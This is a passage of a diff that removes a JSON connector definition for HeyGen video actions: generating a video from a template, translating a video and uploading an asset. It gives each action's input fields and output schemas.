-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the generated video.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "The ID of the template.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Template ID",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "template_id",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "Unique identifier of the folder where the video is stored.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Folder ID",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "folder_id",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "Whether to enable captions in the video.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Caption",
-      "metadata": { },
-      "name": "caption",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": false,
-      "type": "BOOLEAN"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "Whether to make the video publicly shareable immediately after creation.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Enable Sharing",
-      "metadata": { },
-      "name": "enable_sharing",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": false,
-      "type": "BOOLEAN"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Generate Video From Template",
-    "workflowNodeDescription": null
-  }, {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Translates a video into one or more of 175+ supported languages with natural-sounding voice and accurate lip-sync.",
-    "help": null,
-    "metadata": null,
-    "name": "translateVideoAction",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the translated video.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_translate_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the translated video.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_translate_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "URL of the video file to be translated. Supports direct video file URLs, Google Drive URLs, and YouTube URLs.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Video URL",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "video_url",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "The target language in which the video will be translated.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Output Language",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "output_language",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Title of the video.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Title",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "title",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": false,
-      "description": "Translate only the audio; ideal for videos where the speaker is not visible, such as narrations, voiceovers, etc.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Translate Audio Only",
-      "metadata": { },
-      "name": "translate_audio_only",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": false,
-      "type": "BOOLEAN"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Translate Video",
-    "workflowNodeDescription": null
-  }, {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Uploads a media file to the authenticated user's HeyGen account.",
-    "help": null,
-    "metadata": null,
-    "name": "uploadAssetAction",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the uploaded asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "ID assigned to the uploaded asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "name",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Type of the uploaded asset, for example, audio, video, or image.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "file_type",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the folder that contains the asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "folder_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Metadata related to the uploaded asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "meta",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "INTEGER",
-            "defaultValue": null,
-            "description": "Unix timestamp when the asset was created.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "maxValue": null,
-            "metadata": { },
-            "minValue": null,
-            "name": "created_ts",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "required": null,
-            "type": "INTEGER"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "URL to access or download the uploaded file.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Image key for image-type assets.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "image_key",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the uploaded asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "ID assigned to the uploaded asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "name",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Type of the uploaded asset, for example, audio, video, or image.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "file_type",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the folder that contains the asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "folder_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Metadata related to the uploaded asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "meta",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "INTEGER",
-          "defaultValue": null,
-          "description": "Unix timestamp when the asset was created.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "maxValue": null,
-          "metadata": { },
-          "minValue": null,
-          "name": "created_ts",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": null,
-          "type": "INTEGER"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "URL to access or download the uploaded file.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Image key for image-type assets.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "image_key",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "FILE_ENTRY",
-      "defaultValue": null,
-      "description": "Asset file to upload.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "File Entry",
-      "metadata": { },
-      "name": "fileEntry",
-      "placeholder": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "extension",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "mimeType",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "name",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "url",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "required": true,
-      "type": "FILE_ENTRY"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Upload Asset",
-    "workflowNodeDescription": null
-  } ],
-  "clusterElements": [ {
-    "name": "generateVideoFromTemplateAction",
-    "description": "Generates a video based on the specified template.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the generated video.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the generated video.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "The ID of the template.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Template ID",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "template_id",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "Unique identifier of the folder where the video is stored.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Folder ID",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "folder_id",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "Whether to enable captions in the video.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Caption",
-      "metadata": { },
-      "name": "caption",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": false,
-      "type": "BOOLEAN"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "Whether to make the video publicly shareable immediately after creation.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Enable Sharing",
-      "metadata": { },
-      "name": "enable_sharing",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": false,
-      "type": "BOOLEAN"
-    } ],
-    "title": "Generate Video From Template",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  }, {
-    "name": "translateVideoAction",
-    "description": "Translates a video into one or more of 175+ supported languages with natural-sounding voice and accurate lip-sync.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the translated video.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_translate_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the translated video.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_translate_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "URL of the video file to be translated. Supports direct video file URLs, Google Drive URLs, and YouTube URLs.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Video URL",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "video_url",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": null,
-      "description": "The target language in which the video will be translated.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Output Language",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "output_language",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Title of the video.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Title",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "title",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": false,
-      "description": "Translate only the audio; ideal for videos where the speaker is not visible, such as narrations, voiceovers, etc.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Translate Audio Only",
-      "metadata": { },
-      "name": "translate_audio_only",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": false,
-      "type": "BOOLEAN"
-    } ],
-    "title": "Translate Video",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  }, {
-    "name": "uploadAssetAction",
-    "description": "Uploads a media file to the authenticated user's HeyGen account.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
